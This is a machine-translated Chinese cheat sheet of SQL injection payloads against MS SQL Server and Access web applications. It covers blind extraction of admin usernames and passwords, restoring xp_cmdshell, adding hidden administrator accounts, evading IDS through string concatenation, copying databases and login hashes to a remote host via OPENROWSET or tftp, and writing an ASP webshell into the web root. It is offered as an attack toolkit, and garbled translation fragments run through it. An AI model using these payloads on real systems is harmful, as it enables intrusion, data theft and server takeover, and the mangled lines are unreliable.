Infiltration common SQL injection Statements Daquan

QL Injection Daquan CRACK8 Group finishing

1. Determine if there are any injection points
; and 1=1 and 1=2

2. Guess the table name is nothing more than the admin Adminuser user pass password and so on.
and 0<> (SELECT COUNT (*) from *)
and 0<> (SELECT COUNT (*) from admin)---Determine if the admin table exists

3. Guess the number of accounts if you encounter 0< return to the correct page 1< the error page describes the number of accounts is a
and 0< (SELECT COUNT (*) from admin)
and 1< (SELECT COUNT (*) from admin)

4. Guess the field name in Len () parentheses plus the field name we think of.
and 1= (SELECT COUNT (*) from admin where Len (*) >0)--
and 1= (SELECT COUNT (*) from admin where Len (user field name "name") >0)
and 1= (SELECT COUNT (*) from admin where Len (_blank> password field name password) >0)

5. Guess the length of each field the length of the solution is to transform the >0 until it returns to the correct page.
and 1= (SELECT COUNT (*) from admin where Len (*) >0)
and 1= (SELECT COUNT (*) from admin where Len (name) >6) error
and 1= (SELECT COUNT (*) from admin where Len (name) >5) The correct length is 6
and 1= (SELECT COUNT (*) from admin where Len (name) =6) is correct

and 1= (SELECT COUNT (*) from admin where Len (password) >11) correct
and 1= (SELECT COUNT (*) from admin where Len (password) >12) error length is 12
and 1= (SELECT COUNT (*) from admin where Len (password) =12) correct

6. Guessing characters
and 1= (SELECT COUNT (*) from the admin where left (name,1) =a)---Guess the first bit of the user account
and 1= (SELECT COUNT (*) from the admin where left (name,2) =ab)---Guess the second digit of the user account
Just add one character at a time so guess, guess enough you just guessed how many bits of the right, the account even came out
and 1= (select top 1 count (*) from Admin where ASC (mid (pass,5,1)) =51)--
This query statement can be used to guess the Chinese user and _blank> password. Just change the back number to the Chinese Assic code. Finally, the result is converted into characters.

GROUP BY Users.id have 1=1--
Group by Users.id, Users.username, Users.password, Users.privs have 1=1--
; Insert into users values (666, Attacker, Foobar, 0xFFFF)--

UNION Select TOP 1 column_blank>_name from Information_blank>_schema. COLUMNS Where table_blank>_name=logintable-
UNION Select TOP 1 column_blank>_name from Information_blank>_schema. COLUMNS where table_blank>_name=logintable where Column_blank>_name not in (login_blank>_id)-
UNION Select TOP 1 column_blank>_name from Information_blank>_schema. COLUMNS where table_blank>_name=logintable where Column_blank>_name not in (login_blank>_id,login_blank>_ Name)-
UNION Select TOP 1 login_blank>_name from logintable-
UNION Select TOP 1 password from logintable where login_blank>_name=rahul--

See _blank> server hit patch = Error hit SP4 patch
and 1= (SELECT @ @VERSION)--

See _blank> database Connection account permissions, return to normal, proved to be the _blank> server role sysadmin permissions.
and 1= (Select is_blank>_srvrolemember (sysadmin))--

Determine the connection _blank> database account number. (The SA account connection returns to Normal = proves that the connection account is SA)
and sa= (Select system_blank>_user)--
and User_blank>_name () =dbo--
and 0<> (select User_blank>_name ()--

See if Xp_blank>_cmdshell Delete
and 1= (Select count (*) from master.dbo.sysobjects Where xtype = X and name = Xp_blank>_cmdshell)--

Xp_blank>_cmdshell is deleted, restored, supports absolute path recovery
; EXEC Master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--
; EXEC Master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll--

Ping your experiment in reverse
; use Master;declare @s int;exec sp_blank>_oacreate "Wscript.Shell", @s out;exec sp_blank>_oamethod @s, "Run", NULL, "Cmd.exe/c ping 192.168.0.1";--

Add account
;D eclare @shell INT exec sp_blank>_oacreate Wscript.Shell, @shell OUTPUT EXEC sp_blank>_oamethod @shell, Run,null, C : \winnt\system32\cmd.exe/c net user jiaoniang$ 1866574/add--

Create a virtual directory e-disk:
;d eclare @o int exec sp_blank>_oacreate Wscript.Shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c \ Inetpub\wwwroot\mkwebdir.vbs-w "Default Web Site"-V "E", "e:\"--

Access properties: (Mates write a Webshell)
DECLARE @o int exec sp_blank>_oacreate Wscript.Shell, @o out exec sp_blank>_oamethod @o, run, NULL, Cscript.exe c:\i Netpub\wwwroot\chaccess.vbs-a w3svc/1/root/e +browse

Special _blank> Tips for Exploding libraries::%5c=\ or change/and \ Modify%5 submission
and 0<> (select top 1 paths from newtable)--

Get the library name (from 1 to 5 is the system id,6 above can be judged)
and 1= (select name from master.dbo.sysdatabases where dbid=7)--
and 0<> (SELECT COUNT (*) from master.dbo.sysdatabases where name>1 and dbid=6)
Submit dbid = 7,8,9 .... Get more _blank> database names

and 0<> (select top 1 name from bbs.dbo.sysobjects where Xtype=u) burst to a table assumed to be admin
and 0<> (select top 1 na Me from bbs.dbo.sysobjects where xtype=u and name are not in (Admin)) to get other tables.
and 0<> (select COUNT (*) from bbs.dbo.sysobjects where Xtype=u and Name=admin
and uid> (str (ID))) The value of the burst to UID is assumed to be 18779569 Uid=id
and 0<> (select top 1 name from Bbs.dbo.syscolumns where id=18779569) to get a field of admin, Assume user_blank>_id
and 0<> (select top 1 name from Bbs.dbo.syscolumns where id=18779569 and name is not in
(ID, ...)) To burst out the other fields
and 0< (select user_blank>_id from BBS.dbo.admin where username>1) can get the user name
to get the _blank> password in turn ..... Suppose there are fields such as user_blank>_id username, password, and so on

and 0<> (SELECT COUNT (*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<> (select top 1 name from bbs.dbo.sysobjects where xtype=u) get table name
and 0<> (select top 1 name from Bbs.dbo.sysobjects where Xtype=u and name is not in (Address))
and 0<> (SELECT COUNT (*) from bbs.dbo.sysobjects where Xtype=u and Name=admin and uid> (str (ID))) Determine the ID value
and 0<> (select top 1 name from BBS.dbo.syscolumns where id=773577794) all fields

? id=-1 Union Select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
Id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access)

Get Web Path
; CREATE TABLE [dbo]. [Swap] ([Swappass][char] (255));--
and (select top 1 swappass from swap) =1--
; Create TABLE newtable (id int IDENTITY (max), paths varchar) Declare @test varchar () exec master. Xp_blank>_regread @rootkey =hkey_blank>_local_blank>_machine, @key =system\currentcontrolset\services\ W3svc\parameters\virtual roots\, @value_blank >_name=/, [email protected] OUTPUT insert into paths (path) VALUES (@test )--
; Use ku1;--
; CREATE table cmd (str image);--Create an image type of form cmd

There is a test process for Xp_blank>_cmdshell:
; EXEC master. Xp_blank>_cmdshell dir
; exec master.dbo.sp_blank>_addlogin jiaoniang$;--plus SQL account
; exec Master.dbo.sp_blank>_password null,jiaoniang$,1866574;--
; exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;--
; Exec Master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574/workstations:*/times:all/passwordchg:yes/ passwordreq:yes/active:yes/add;--
; exec Master.dbo.xp_blank>_cmdshell net localgroup Administrators jiaoniang$/add;--
EXEC master. Xp_blank>_servicecontrol start, schedule start _blank> service
EXEC master. Xp_blank>_servicecontrol Start, server
; DECLARE @shell INT exec sp_blank>_oacreate Wscript.Shell, @shell OUTPUT EXEC sp_blank>_oamethod @shell, Run,null, C: \winnt\system32\cmd.exe/c NET user jiaoniang$ 1866574/add
;D eclare @shell INT exec sp_blank>_oacreate Wscript.Shell, @shell OUTPUT EXEC sp_blank>_oamethod @shell, Run,null, C:\WINNT\SYSTEM32\CMD.EXE/C net localgroup Administrators jiaoniang$/add
; EXEC master. Xp_blank>_cmdshell tftp-i Youip Get file.exe--use TFTP to upload files

;d eclare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c \
;d eclare @a sysname set @a=xp+_blank>_cm ' + ' Dshell exec @a dir c \
;d eclare @a;set @a=db_blank>_name (); Backup database @a to disk= your IP to your shared directory Bak.dat
If you are restricted, you can.
SELECT * FROM OPENROWSET (_blank>sqloledb,server;sa;,select ok! exec master.dbo.sp_blank>_addlogin Hax)

Query constructs:
Select * FROM news Where id= ... and topic= ... And .....
Adminand 1= (SELECT COUNT (*) from [user] where Username=victim and right (left (userpass,01), 1) =1) and Userpass <>
Select 123;--
; Use master;--
: A or name like fff%;--shows a user named Ffff ha.
and 1<> (select count (email) from [user]);--
; Update [users] set email= (select top 1 name from sysobjects where Xtype=u and status>0) where name=ffff;--
; Update [users] set email= (select top 1 id from sysobjects where xtype=u and Name=ad) where name=ffff;--
; Update [users] set email= (select top 1 name from sysobjects where Xtype=u and id>581577110) where name=ffff;--
; Update [users] set email= (select top 1 count (ID) from password) where name=ffff;--
; Update [users] set email= (select top 1 pwd from password where id=2) where name=ffff;--
; Update [users] set email= (select top 1 name from password where id=2) where name=ffff;--
The above statement is to get the first user table in the _blank> database and place the table name in the FFFF user's mailbox field.
By looking at FFFF's user profile, you get the first table called AD.
Then the ID of this table is given by the table name AD to get the name of the second table

INSERT into users values (666, char (0x63) +char (0x68) +char (0x72) +char (0x69) +char (0x73), char (0x63) +char (0x68) +char (0x72) +char (0x69) +char (0x73), 0xFFFF)--
INSERT into users values (667,123,123,0XFFFF)--
INSERT into users values (123, admin--, Password, 0xffff)--
; and user>0
; and (select COUNT (*) from sysobjects) >0
; and (select Coun T (*) from mysysobjects) >0//for access_blank> database

Enumerate data table names
; update AAA set aaa= (select top 1 name from sysobjects where xtype=u and status>0);--
This is the word that updates the first table name to AAA Section. The
reads the first table, and the second table can be read like this (after the condition with the name of the table that name<> just got).
; update AAA set aaa= (select top 1 name from sysobjects where xtype=u and status>0 and Name<>vote);--
and id= 1552 and exists (SELECT * from AAA where aaa>5)
reads out the second table, reading them one after the other until there is no. The
Read field is:
; update AAA set aaa= (select top 1 col_blank>_name (object_blank>_id (table name), 1));--
then id=152 and Exists (SELECT * from AAA where aaa>5) error, get field name
; update AAA set aaa= (select top 1 col_blank>_name (object_blank> _id (table name), 2));--
then id=152 and exists (SELECT * from AAA where aaa>5) error, get field name

[Get data table name] [Update the field value to the table name, then the idea to read out the value of this field to get the table name]
The Update table name set field = (select top 1 name from sysobjects where xtype=u and status>0 [and name<> you get the name of the table to find one plus]) [whe Re condition] Select top 1 name from sysobjects where Xtype=u and status>0 and name not in (Table1,table2,...)
SQL Server Injection _blank> Vulnerability build _blank> database Administrator account and system administrator account [current account must be sysadmin group]

[Get Data table field name] [Update field value to field name, then try to read the value of this field to get the field name]
Update table name Set field = (select top 1 col_blank>_name (object_blank>_id (data table name to query), field column: 1) [Where condition]

Bypassing IDs detection [using variables]
;d eclare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c \
;d eclare @a sysname set @a=xp+_blank>_cm ' + ' Dshell exec @a dir c \

1. Open the remote _blank> database
Basic syntax
SELECT * from OPENROWSET (SQLOLEDB, server=servername;uid=sa;pwd=123, select * FROM table1)
Parameters: (1) OLE DB Provider name
2, where the connection string parameter can be any port used to connect, such as
SELECT * from OPENROWSET (SQLOLEDB, uid=sa;pwd=123; NETWORK=DBMSSOCN; address=192.168.0.1,1433;, select * FROM table
3. Copy the entire _blank> database of the destination host to insert all remote tables into the local table.

Basic syntax:
Insert into OPENROWSET (SQLOLEDB, server=servername;uid=sa;pwd=123, select * FROM table1) SELECT * FROM Table2
This line copies all the data from the Table2 table on the target host to the Table1 table in the remote _blank> database. In practice, modify the IP address and port of the connection string appropriately, pointing to the desired place, such as:
Insert into OPENROWSET (sqloledb,uid=sa;pwd=123; NETWORK=DBMSSOCN; Address=192.168.0.1,1433;,select * FROM table1) SELECT * FROM Table2
Insert into OPENROWSET (sqloledb,uid=sa;pwd=123; NETWORK=DBMSSOCN; Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
SELECT * FROM master.dbo.sysdatabases
Insert into OPENROWSET (sqloledb,uid=sa;pwd=123; NETWORK=DBMSSOCN; Address=192.168.0.1,1433;,select * from _blank>_sysobjects)
SELECT * FROM User_blank>_database.dbo.sysobjects
Insert into OPENROWSET (sqloledb,uid=sa;pwd=123; NETWORK=DBMSSOCN; Address=192.168.0.1,1433;,select * from _blank>_syscolumns)
SELECT * FROM User_blank>_database.dbo.syscolumns
Copy the _blank> database:
Insert into OPENROWSET (sqloledb,uid=sa;pwd=123; NETWORK=DBMSSOCN; Address=192.168.0.1,1433;,select * FROM table1) SELECT * from database. Table1
Insert into OPENROWSET (sqloledb,uid=sa;pwd=123; NETWORK=DBMSSOCN; Address=192.168.0.1,1433;,select * FROM table2) SELECT * from database. Table2

The hash of the copy Hassi (hash) login _blank> password is stored in sysxlogins. Here's how:
Insert into OPENROWSET (SQLOLEDB, uid=sa;pwd=123; NETWORK=DBMSSOCN; Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) SELECT * FROM Database.dbo.sysxlogins
After the hash is obtained, brute force can be cracked.

How to traverse a directory: Create a temporary table first: Temp
CREATE table temp (ID nvarchar (255), Num1 nvarchar (255), num2 nvarchar (255), num3 nvarchar (255));--
Insert Temp exec master.dbo.xp_blank>_availablemedia;--get all current drives
INSERT into temp (ID) EXEC master.dbo.xp_blank>_subdirs c:\;--get a list of subdirectories
Insert into temp (ID,NUM1) EXEC master.dbo.xp_blank>_dirtree c:\;--Get the directory tree structure of all subdirectories and into the temp table
INSERT into temp (ID) EXEC Master.dbo.xp_blank>_cmdshell type c:\web\index.asp;--View the contents of a file
INSERT into temp (ID) exec Master.dbo.xp_blank>_cmdshell dir c:\;--
INSERT into temp (ID) exec Master.dbo.xp_blank>_cmdshell dir c: *.asp/s/a;--
INSERT into temp (ID) exec Master.dbo.xp_blank>_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
Insert into temp (ID,NUM1) EXEC master.dbo.xp_blank>_dirtree c:\;--(xp_blank>_dirtree applicable public)
Write table:
Statement 1:and 1= (Select is_blank>_srvrolemember (sysadmin));--
Statement 2:and 1= (Select is_blank>_srvrolemember (serveradmin));--
Statement 3:and 1= (Select is_blank>_srvrolemember (setupadmin));--
Statement 4:and 1= (Select is_blank>_srvrolemember (securityadmin));--
Statement 5:and 1= (Select is_blank>_srvrolemember (securityadmin));--
Statement 6:and 1= (Select is_blank>_srvrolemember (diskadmin));--
Statement 7:and 1= (Select is_blank>_srvrolemember (bulkadmin));--
Statement 8:and 1= (Select is_blank>_srvrolemember (bulkadmin));--
Statement 9:and 1= (Select is_blank>_member (Db_blank>_owner));--

Write the path to the table:
CREATE TABLE dirs (paths varchar, id int)--
; Insert dirs exec master.dbo.xp_blank>_dirtree c:\--
and 0<> (select top 1 paths from dirs)--
and 0<> (select top 1 paths from dirs where paths isn't in (@Inetpub))--
CREATE TABLE dirs1 (paths varchar, id int)--
; Insert dirs exec master.dbo.xp_blank>_dirtree e:\web--
and 0<> (select top 1 paths from dirs1)--

Back up the _blank> database to the Web directory: Download
;d eclare @a sysname; Set @a=db_blank>_name (); Backup Database @a to disk=e:\web\down.bak;--

and 1= (select top 1 name from (select top id,name from sysobjects where Xtype=char ()) T ORDER BY id DESC)
and 1= (Select Top 1 col_blank>_name (object_blank>_id (User_blank>_login), 1) from sysobjects see related tables.
and 1= (select user_blank>_id from User_blank>_login)
and 0= (select User from User_blank>_login where user>1)

-=-Wscript.Shell Example-=-
DECLARE @o int
exec sp_blank>_oacreate Wscript.Shell, @o out
EXEC Sp_blank>_oamethod @o, run, NULL, notepad.exe
; DECLARE @o int exec sp_blank>_oacreate Wscript.Shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--

declare @o int, @f int, @t int, @ret int
DECLARE @line varchar (8000)
exec sp_blank>_oacreate Scripting.FileSystemObject, @o out
exec Sp_blank>_oamethod @o, OpenTextFile, @f out, C:\Boot.ini, 1
exec @ret = Sp_blank>_oamethod @f, ReadLine, @line out
while (@ret = 0)
Begin
Print @line
exec @ret = Sp_blank>_oamethod @f, ReadLine, @line out
End

declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate Scripting.FileSystemObject, @o out
exec Sp_blank>_oamethod @o, CreateTextFile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = Sp_blank>_oamethod @f, WriteLine, NULL,
<% Set o = Server.CreateObject ("Wscript.Shell"): O.run (Request.QueryString ("cmd"))%>

declare @o int, @ret int
exec sp_blank>_oacreate Speech.voicetext, @o out
EXEC sp_blank>_oamethod @o, register, NULL, Foo, bar
EXEC sp_blank>_oasetproperty @o, speed, 150
exec Sp_blank>_oamethod @o, speak, NULL, all your sequel servers is belong To,us, 528
WAITFOR DELAY 00:00:05

; declare @o int, @ret int exec sp_blank>_oacreate Speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL , foo, bar exec sp_blank>_oasetproperty @o, speed, Sp_blank>_oamethod exec @o, speak, NULL, all your sequel Serv ERs is belong to us, 528 waitfor delay 00:00:05--

Xp_blank>_dirtree Applicable Permissions Public
EXEC master.dbo.xp_blank>_dirtree C: The returned information has two fields subdirectory, depth. The subdirectory field is a character type, and the depth field is an integer field.
CREATE TABLE dirs (paths varchar (), id int)
Build the table, the table here is related to the above xp_blank>_dirtree, the field is equal, the same type.
Insert dirs exec master.dbo.xp_blank>_dirtree C: As long as our build table is defined equal to the field returned by the storage process, it can be executed! Achieve the effect of writing a table, step by step to achieve the information we want!

Infiltration of common SQL injection statement Daquan